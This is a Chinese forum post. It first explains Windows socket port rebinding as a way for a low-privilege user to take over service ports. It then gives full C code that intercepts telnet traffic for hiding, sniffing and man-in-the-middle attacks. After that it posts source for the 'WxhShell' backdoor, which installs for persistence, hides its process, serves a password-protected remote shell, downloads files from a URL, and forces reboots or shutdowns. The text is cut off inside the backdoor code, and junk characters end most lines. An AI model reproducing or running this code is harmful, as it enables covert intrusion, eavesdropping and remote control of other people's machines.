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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J ##X5'a3*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \7?MUa.4  
74N\G1  
  saddr.sin_family = AF_INET; rnrx%Q  
`e69kBAm  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); LR?#H)$  
4BL,/(W] x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gKH"f%lK  
[~%;E[ky$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V$%Fs{  
D,R2wNF  
  这意味着什么?意味着可以进行如下的攻击: Hu!>RSg,,2  
7)X&fV6<8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &wC.?w$  
Bc ,z]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 17i@GnbNb  
.j@n6RyN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @ dU3d\!}  
OnPLz"-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ue2nfp  
u,k8i:JY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ju 6_L<  
m9i%U   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cB'4{R@e  
F476"WF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S~9kp?kR$  
w3hL.Z,kV  
  #include G+yz8@  
  #include B_G7F[/K  
  #include ZuV  
  #include    \) ONy9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?UZ yu 4O%  
  int main() GM92yi!8  
  { #SUq.A  
  WORD wVersionRequested; `I:,[3_/   
  DWORD ret; Ceb i9R[  
  WSADATA wsaData; n8ya$bc  
  BOOL val; Q&\ksM  
  SOCKADDR_IN saddr; /JY i^rZ  
  SOCKADDR_IN scaddr; I>zn$d*0  
  int err; h^X.e[  
  SOCKET s; l3$?eGGM  
  SOCKET sc; p ;01a  
  int caddsize; t`D@bzLC%  
  HANDLE mt; 7im;b15j`'  
  DWORD tid;   "qp_*Y  
  wVersionRequested = MAKEWORD( 2, 2 ); tHo/uW_~I  
  err = WSAStartup( wVersionRequested, &wsaData ); c8W=Is`  
  if ( err != 0 ) { ;]ew>P)  
  printf("error!WSAStartup failed!\n"); FCAu%lvZT  
  return -1; 4r!40^:2  
  } FNO lR>0e  
  saddr.sin_family = AF_INET; 7q1l9:VYE  
   |pg5m*h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xef7mx  
1Tkdr 2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D1/$pA+B  
  saddr.sin_port = htons(23); &^>r<~]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QrA+W\=_`y  
  { 5qko`r@#  
  printf("error!socket failed!\n"); 0pz X!f1~  
  return -1; /! 3:K<6@  
  } L4-Pq\2  
  val = TRUE; Y'R1\Go-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5jk4k c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .U {JI\  
  { 0\ ;a:E.c  
  printf("error!setsockopt failed!\n"); &"0[7zgYQz  
  return -1; )Jn80~U|1  
  } Q)8t;Kx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7 4UE-H)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 XcneH jpR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $*ZHk0 7x  
PUArKBYM-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1(a\$Di  
  { 8h 2?Q  
  ret=GetLastError(); .;s4T?j@w  
  printf("error!bind failed!\n"); ak&v/%N  
  return -1; hR{Zh>  
  } EpMEA1=&  
  listen(s,2); ~;` #{$/C&  
  while(1) 6.=b^6MV  
  { 1j(,VW  
  caddsize = sizeof(scaddr); =jh:0Q<43+  
  //接受连接请求 upKrr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aPgG+tu  
  if(sc!=INVALID_SOCKET) $Q4b~  
  { RT9@&5>il  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^)I:82"|?  
  if(mt==NULL) d_hcv|%  
  { Aed"J5[a  
  printf("Thread Creat Failed!\n"); {F[Xe_=#"  
  break; %m`QnRX?D  
  } ij^!TY[0  
  } QkAwG[4  
  CloseHandle(mt); 64@s|m*  
  } r8$TT\?~  
  closesocket(s); QJ?!_2Ax  
  WSACleanup(); 5#PhaVc  
  return 0; tp&iOP6O  
  }   4dAhJjhgD  
  DWORD WINAPI ClientThread(LPVOID lpParam) }+1oD{  
  { f|)t[,c  
  SOCKET ss = (SOCKET)lpParam; NST6pu\,U  
  SOCKET sc; ~Otf "<  
  unsigned char buf[4096]; T~E83Jw  
  SOCKADDR_IN saddr; `}l%Am  
  long num; ualtIHXK)  
  DWORD val; biD7(AK  
  DWORD ret; WBIS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4vphLAm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4{pa`o3  
  saddr.sin_family = AF_INET; wr(?L7 $+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |Rc#Q<Vh|  
  saddr.sin_port = htons(23); 0XNb@ogo  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &2J|v#$F  
  { :W"ITY(  
  printf("error!socket failed!\n"); <}%*4mv  
  return -1; DFMWgBL  
  } ua-p^X`w  
  val = 100; y C#{nUdw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 511q\w M  
  { Heu@{t.[!D  
  ret = GetLastError(); xh$[E&2u  
  return -1; b;vO`  
  } YzqhFFaj.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  V Euv  
  { ^8)d8?}  
  ret = GetLastError(); *k -UQLJ  
  return -1; Z"u/8  
  } $9/r*@bu8d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $}@l l^  
  { Yc}b&  
  printf("error!socket connect failed!\n"); \T?O.  
  closesocket(sc); ;Xns9  
  closesocket(ss); tti.-  
  return -1; $6N. ykJ  
  } +]X^bB[  
  while(1) yI)2:Ca*  
  { v*pVcBY>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9viC3bj.o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "rtmDNpL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5h&8!!$[  
  num = recv(ss,buf,4096,0); ;A_QI>>  
  if(num>0) z; +x`i.  
  send(sc,buf,num,0); smggr{-  
  else if(num==0) tP9}:gu  
  break; /+iaw~={"  
  num = recv(sc,buf,4096,0); lz>hP  
  if(num>0) P<1zXs.H  
  send(ss,buf,num,0); F`l1I=;  
  else if(num==0) Nf1l{N  
  break; {sLh=iK  
  } he,T\ };  
  closesocket(ss); \;]~K6=  
  closesocket(sc); JG `QJ%  
  return 0 ; PuWF:'w r  
  } j,Y=GjfGM  
W$W7U|Z9y+  
tF 4"28"h  
========================================================== z|Xl%8  
LS`Gg7]S  
下边附上一个代码,,WXhSHELL oKUJB.PF  
P7 n~Ui~U  
========================================================== ]Q+Tm2{  
X!m/I i$q  
#include "stdafx.h" ty ~U~  
^t"\PpmK<d  
#include <stdio.h> <m!\Ma  
#include <string.h> >.A{=?   
#include <windows.h> 2&M 8Wb#  
#include <winsock2.h> kciH  
#include <winsvc.h> F n\)*; ^  
#include <urlmon.h> 2neiUNT  
xGqZ8v`v  
#pragma comment (lib, "Ws2_32.lib") Lt)t}0  
#pragma comment (lib, "urlmon.lib") vCJjZ%eO%D  
:mij%nQ>$  
#define MAX_USER   100 // 最大客户端连接数 j$,`EBf`:<  
#define BUF_SOCK   200 // sock buffer &wJ"9pQ~6E  
#define KEY_BUFF   255 // 输入 buffer plca`  
4H'9y3dk  
#define REBOOT     0   // 重启 WVVqH_  
#define SHUTDOWN   1   // 关机 MxYCMe4S[  
qz 'a.]{=  
#define DEF_PORT   5000 // 监听端口 Wl1%BN0>  
2axH8ONMu  
#define REG_LEN     16   // 注册表键长度 c7'Pzb)'  
#define SVC_LEN     80   // NT服务名长度 qhogcAvE  
E7N1B*KI  
// 从dll定义API fgNEq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D,2,4h!ka  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "|hmiMdGB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pJqayzV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )|:|.`H  
1\1o65en  
// wxhshell配置信息 mesR)fTI  
struct WSCFG { ,E_hG3}}  
  int ws_port;         // 监听端口 ]5^u^  
  char ws_passstr[REG_LEN]; // 口令 "ey~w=B$M  
  int ws_autoins;       // 安装标记, 1=yes 0=no DpA)Z ??  
  char ws_regname[REG_LEN]; // 注册表键名 yY!jkRq%w  
  char ws_svcname[REG_LEN]; // 服务名 6d_l[N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {W0@lMrD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `.n[G~*w~1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E@?jsN7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no " `lRX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" # H4dmnV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ruoiG?:T  
"B.l j)  
}; >LjvMj ]  
CEwG#fZ  
// default Wxhshell configuration zU(U^  
struct WSCFG wscfg={DEF_PORT, Ls9G:>'rR  
    "xuhuanlingzhe", do G&qXw  
    1, h5F1mr1Sa  
    "Wxhshell", @+\OoOK<L  
    "Wxhshell", $v+g3+7  
            "WxhShell Service", P",53R+"  
    "Wrsky Windows CmdShell Service", A w83@U  
    "Please Input Your Password: ", L|v1=qNH4  
  1, En1pz\'  
  "http://www.wrsky.com/wxhshell.exe", 7.]ZD`"Bb  
  "Wxhshell.exe" gbF.Q7?$u  
    }; JTVCaL3Z  
tL D.e  
// 消息定义模块 AE@*#47  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =_,w<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hF6EOCY6D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )4j#gHN\  
char *msg_ws_ext="\n\rExit."; &0M^UvO  
char *msg_ws_end="\n\rQuit."; 98x(2fCvF(  
char *msg_ws_boot="\n\rReboot..."; Q+S>nL!*#1  
char *msg_ws_poff="\n\rShutdown..."; $AoN,B>  
char *msg_ws_down="\n\rSave to "; =\tg$  
% nJ'r?+h  
char *msg_ws_err="\n\rErr!"; fuQ? @F  
char *msg_ws_ok="\n\rOK!"; o#G7gzw)  
.x}ImI  
char ExeFile[MAX_PATH]; V]IS(U(  
int nUser = 0; ndN 8eh:OR  
HANDLE handles[MAX_USER]; P\SE_*&  
int OsIsNt; 1h|JKu0  
QGfU:  
SERVICE_STATUS       serviceStatus; 'H+pwp"M@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fY\QI =  
_uL m!ku  
// 函数声明 Uc \\..Cf  
int Install(void); <UeO+M(  
int Uninstall(void); 7)~/`w)P  
int DownloadFile(char *sURL, SOCKET wsh); HdLVXaD/  
int Boot(int flag); ]e R1 +Nl  
void HideProc(void); |FH/Q-7[  
int GetOsVer(void); an.)2*u  
int Wxhshell(SOCKET wsl); je.mX/Lpj  
void TalkWithClient(void *cs); JIDE]f  
int CmdShell(SOCKET sock); +.{_n(kU  
int StartFromService(void); C%l~qf1n  
int StartWxhshell(LPSTR lpCmdLine); Ip|7JL0Z  
}*;Hhbox  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b bX2D/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B2VUH..am  
#AE'arT<  
// 数据结构和表定义 9MVW~ V  
SERVICE_TABLE_ENTRY DispatchTable[] = Ot5 $~o  
{ W&)O i ZN  
{wscfg.ws_svcname, NTServiceMain}, t[%9z6t  
{NULL, NULL} DqbN=[!X~n  
}; [K,&s8N5  
R|Y)ow51  
// 自我安装 Bx2E9/S3  
int Install(void) Q']:k}y  
{ \3Ys8umKq  
  char svExeFile[MAX_PATH]; |0BmEF  
  HKEY key; ,0;E_i7  
  strcpy(svExeFile,ExeFile); (',G Ako  
;DBO  
// 如果是win9x系统,修改注册表设为自启动 {}[S,L  
if(!OsIsNt) { .F &\xa{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ust>%~<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P6dIU/w  
  RegCloseKey(key); h$y1"!N(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (:-=XR9A`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yin"+&<T  
  RegCloseKey(key); }B^KV#_{S  
  return 0; L9&Z?$6J_p  
    } t: r   
  } <5G*#0gw  
} i e%ZX  
else { $D1Pk  
 jmz, 1[  
// 如果是NT以上系统,安装为系统服务 ,@8>=rT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5,k&^CK}  
if (schSCManager!=0) Ay/ "2pDZ  
{ %#Fd0L  
  SC_HANDLE schService = CreateService Y<I/y  
  ( t :sKvJ  
  schSCManager, hBO I:4u[  
  wscfg.ws_svcname, &K|<7Efx  
  wscfg.ws_svcdisp, oe# :EfT  
  SERVICE_ALL_ACCESS, 8 }nA8J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }r9f}yX9Q  
  SERVICE_AUTO_START, 3;@t {rIin  
  SERVICE_ERROR_NORMAL, 6(VCQ{  
  svExeFile, ;VNwx(1l`  
  NULL, W_ngB[  
  NULL, ^;!A`t  
  NULL, G/bWn@  
  NULL, 5,|^4 ZA  
  NULL -aXV}ZY"  
  ); ;q59Cr75  
  if (schService!=0) M8Q-x-7  
  { dt<PZ.  
  CloseServiceHandle(schService); [ wi "  
  CloseServiceHandle(schSCManager); v_En9~e^n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P] ouLjyq  
  strcat(svExeFile,wscfg.ws_svcname); zsc8Lw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  \|L@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \2*<Pq  
  RegCloseKey(key); VrrCW/ o  
  return 0; !i2=zlpb[  
    } ?yU|;my  
  } &Dgho  
  CloseServiceHandle(schSCManager); Jr==AfxyT  
} D/"[/!  
} Zm4IN3FGLv  
Ul)2A  
return 1; YR=<xn;m.  
} {;=I69 X  
uL1e?  
// 自我卸载 ]4@_KKP  
int Uninstall(void) 1}}.e^Tsfr  
{ D N GNc  
  HKEY key; kzMCI)>"  
|.0/~Xy-  
if(!OsIsNt) { 2X&~!%-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V#'sH  
  RegDeleteValue(key,wscfg.ws_regname); -"UK NB!  
  RegCloseKey(key); (&=-o(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SL? ! RQ  
  RegDeleteValue(key,wscfg.ws_regname); D: NBb!   
  RegCloseKey(key); MLG%+@\  
  return 0; "[q/2vC  
  } FAzshR  
} z AacX@  
} DyD#4J)E  
else { E;fYL]j/oZ  
Hl8-1M$&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !vHnMY~AG  
if (schSCManager!=0) <=l!~~%  
{ qH: ` O%,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \f}S Hh  
  if (schService!=0) &HNJ '  
  { 4/&Us  
  if(DeleteService(schService)!=0) { ><mZOTn e;  
  CloseServiceHandle(schService); TxoMCN?7c  
  CloseServiceHandle(schSCManager); be|k"s|6)  
  return 0; xa[<k >r3  
  } (_^g:>)Cs  
  CloseServiceHandle(schService); hc4<`W{  
  } b'pbf  
  CloseServiceHandle(schSCManager); S#8wnHq  
}  Xai ,  
} CS)&A4`8  
/J aH  
return 1; %M2.h;9]*\  
} 2l}FOdq  
v7&e,:r2E@  
// 从指定url下载文件 |"8Az0[!  
int DownloadFile(char *sURL, SOCKET wsh) $W<H[k&(B  
{ tO~DA>R  
  HRESULT hr; M}k )Ep9  
char seps[]= "/"; mL?9AxO  
char *token; < N}UwB&  
char *file; "WdGY*r  
char myURL[MAX_PATH]; bae .?+0[  
char myFILE[MAX_PATH]; Z3<>Z\6D  
#UG|\}Lp  
strcpy(myURL,sURL); ZSuUmCm  
  token=strtok(myURL,seps); Qr Dzf e[  
  while(token!=NULL) Kn SXygT  
  { QXY-?0RO#  
    file=token; };o6|e:2E  
  token=strtok(NULL,seps); *]nha1!S  
  } 7L|w~l7R~  
S7N3L."  
GetCurrentDirectory(MAX_PATH,myFILE); Qw!cd-zc  
strcat(myFILE, "\\"); ({zt=}r,  
strcat(myFILE, file); 8xJdK'  
  send(wsh,myFILE,strlen(myFILE),0); MCD]n  
send(wsh,"...",3,0); =;-/( C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `r e]Q0IO  
  if(hr==S_OK) @vh3S+=M  
return 0; \$}xt`6p  
else OD-CU8X9  
return 1; B q+RFo  
`<i|K*u  
} $qYtN`b,  
d/!sHr69  
// 系统电源模块 "IA[;+_"  
int Boot(int flag) T8h.!Vef  
{ sesr`,m.,  
  HANDLE hToken; D|/Azy.[  
  TOKEN_PRIVILEGES tkp; A)Wp W M  
"#z4  
  if(OsIsNt) { ck>|p09q'9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5V!L~#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S}gUz9ks  
    tkp.PrivilegeCount = 1; mf=,6fx28  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =K I4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0N$tSTo.-<  
if(flag==REBOOT) { &Y%Kr`.h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "%dWBvuO  
  return 0; \j !JRD+j  
} j*t>CB4  
else { r5%K2q{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t_6sDr'.  
  return 0; 5Al 59]  
} O6LZ<}oUR  
  } &&4av*\I  
  else { zYO+;;*@  
if(flag==REBOOT) { E]WammX c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N3g[,BE  
  return 0; 9a9<I  
} eUPG){"  
else { '31pb9@fH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1fM= >Z  
  return 0; "5C)gxI^  
} `~vqu69MF9  
} e;~[PYeu  
b)J(0,9`G"  
return 1; kD dY i7g>  
} 1,=U^W.G  
uNZJNrV%  
// win9x进程隐藏模块 wvvMesX<L  
void HideProc(void) }WS%nQA  
{ )` -b\8uw  
^Crl~~Gk`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,uqSq  
  if ( hKernel != NULL ) AX}l~ sv  
  { vNlYk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Iz,a Hrq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $]|fjB#D  
    FreeLibrary(hKernel); !31v@v:)  
  } H>AQlO+J  
CT+pkNC  
return; jJdw\`  
} P$S>=*`n U  
6f,#O8]#5  
// 获取操作系统版本 u:& gp  
int GetOsVer(void) Yf&x]<rkCp  
{ tX$%*Uy  
  OSVERSIONINFO winfo; #X'!wr|-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P0uUVU=B|  
  GetVersionEx(&winfo); Sq8` )$\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EzqYHY+_r  
  return 1; L^3~gZ  
  else ,u7: l  
  return 0; !q=ej^(S  
} O&!>C7  
S~0 mY} m  
// 客户端句柄模块 Ta`=c0  
int Wxhshell(SOCKET wsl) ,2q LiE>  
{ )%Z<9k  
  SOCKET wsh; Bm2"} =  
  struct sockaddr_in client; Q+'mBi}  
  DWORD myID; |_/q0#"  
Ql&5fyW  
  while(nUser<MAX_USER) Q4\EI=4P]  
{ QyQ&xgS  
  int nSize=sizeof(client); <iVn!P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ic/D!J{Y  
  if(wsh==INVALID_SOCKET) return 1; d]6.$"\" p  
&l2oyQEF)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }md[hiJ  
if(handles[nUser]==0) .P+om<~B  
  closesocket(wsh); PCDsj_e  
else <3zA|  
  nUser++; 6,*hzyy}Qu  
  } | YmQO#''  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <x@brXA  
fBBNP)  
  return 0; 7.-Q9xv  
} f{MXH&d 1\  
QxG:NN;jW  
// 关闭 socket }wRHNBaEB  
void CloseIt(SOCKET wsh) pYIm43r H  
{ VSP6osX{  
closesocket(wsh); Wcd;B7OH  
nUser--; 4^\5]d!  
ExitThread(0); 8gWifx #N  
} CIAHsbn.A  
Lb;:<  
// 客户端请求句柄 SVWtKc<  
void TalkWithClient(void *cs) DjUif "v  
{ oe`t ? (U  
2iC7c6hc  
  SOCKET wsh=(SOCKET)cs; _]:wltPv  
  char pwd[SVC_LEN]; U;p"x^U`  
  char cmd[KEY_BUFF]; Lpd q^X  
char chr[1]; 2<53y~Yi%  
int i,j; p+#$S4V  
:@# '&(#~  
  while (nUser < MAX_USER) { E+-ah vk  
!j[Oy r|  
if(wscfg.ws_passstr) { h}r64<Y2{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?4v&TB@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I:M]#aFD  
  //ZeroMemory(pwd,KEY_BUFF); 6qg_&woJ3  
      i=0; 0.C[/u[  
  while(i<SVC_LEN) { dnt: U!TW@  
hAq7v']m  
  // 设置超时 A+v6N>}*  
  fd_set FdRead; #vCtH2  
  struct timeval TimeOut; kSj,Pl\NC  
  FD_ZERO(&FdRead); ?EQ]f34  
  FD_SET(wsh,&FdRead); E wDFUK  
  TimeOut.tv_sec=8;  V9\g?w  
  TimeOut.tv_usec=0; Z9TmX A@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9NXf~-V-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2k}~"!e1  
yop,%Fe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ve\^(9n  
  pwd=chr[0]; gI<e=|J6w  
  if(chr[0]==0xd || chr[0]==0xa) { -DD2   
  pwd=0; /NRdBN  
  break; L-Qc[L  
  } s/#L?[YH  
  i++; Zn{,j0;  
    } &`"Q*N2{  
^y:!=nX^  
  // 如果是非法用户,关闭 socket  1t7vP;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l]tda(  
} CqHCJ '  
k$]-fQM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }4G/x;D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); USBU?WDt  
t* eZe`|  
while(1) { rC )pCC  
/4x3dwXW@  
  ZeroMemory(cmd,KEY_BUFF); > Q[L, I  
aVTTpMY  
      // 自动支持客户端 telnet标准   ~2 aR>R_nT  
  j=0; ZH6#(;b  
  while(j<KEY_BUFF) { 4rkj$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1=Npq=d  
  cmd[j]=chr[0]; +pDZ,c,  
  if(chr[0]==0xa || chr[0]==0xd) { K??(>0Qr}r  
  cmd[j]=0; .3Ex=aQcX  
  break; "Z xM,kI  
  } *^agwQ`  
  j++; YI[y/~!  
    } S ?v^/F  
xZ2^lsY  
  // 下载文件 ~Q<h,P  
  if(strstr(cmd,"http://")) { +<qmVW^X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P]V/<8o.53  
  if(DownloadFile(cmd,wsh)) YT:])[gVV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gp*U2LB  
  else $TU)O^c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mx\b6w7  
  } jm~(OLg  
  else { dC&{zNG  
w]2tb  
    switch(cmd[0]) { fd Vye|%  
  PeCU V6  
  // 帮助 WGy3SV )  
  case '?': { lM0`yh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 08*O|Ym,  
    break; \~j6}4XS1.  
  } >v1E;-ZA  
  // 安装 B_Qi  
  case 'i': { Tz/=\_}  
    if(Install()) 4q%hn3\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @|A w T  
    else c;RB!`9"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &dA{<.  
    break; 4DGc[  
    } $~ 6Y\O  
  // 卸载 (jQ]<q%P  
  case 'r': { tzl`|UwF  
    if(Uninstall()) <hG] f%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #L,>)XkjS  
    else rID_^g_tP8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vpTYfE  
    break; 4(2iR0N  
    } a-nf5w>&q  
  // 显示 wxhshell 所在路径 fMg3  
  case 'p': { sqKLz  
    char svExeFile[MAX_PATH]; h5@v:4Jjo~  
    strcpy(svExeFile,"\n\r"); R.ZC|bPiD  
      strcat(svExeFile,ExeFile); y~ubH{O#  
        send(wsh,svExeFile,strlen(svExeFile),0); {~cG'S Y%  
    break; kd0~@rPL  
    } 'j6)5WL$  
  // 重启 "0BuQ{CQ  
  case 'b': { ">$.>sn{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mn5mdrv3WZ  
    if(Boot(REBOOT)) 0W}iKT[Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y@&1[Z  
    else { {R5{v6m_  
    closesocket(wsh); s> d /9 b  
    ExitThread(0); P1 \:hh  
    } +Ndo$|XCy]  
    break; ;{@jj0h;  
    } FPg5!O%  
  // 关机 :Ng4? +@r  
  case 'd': { ;|nC;D]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [X9s\H  
    if(Boot(SHUTDOWN)) drv"I[}{A  
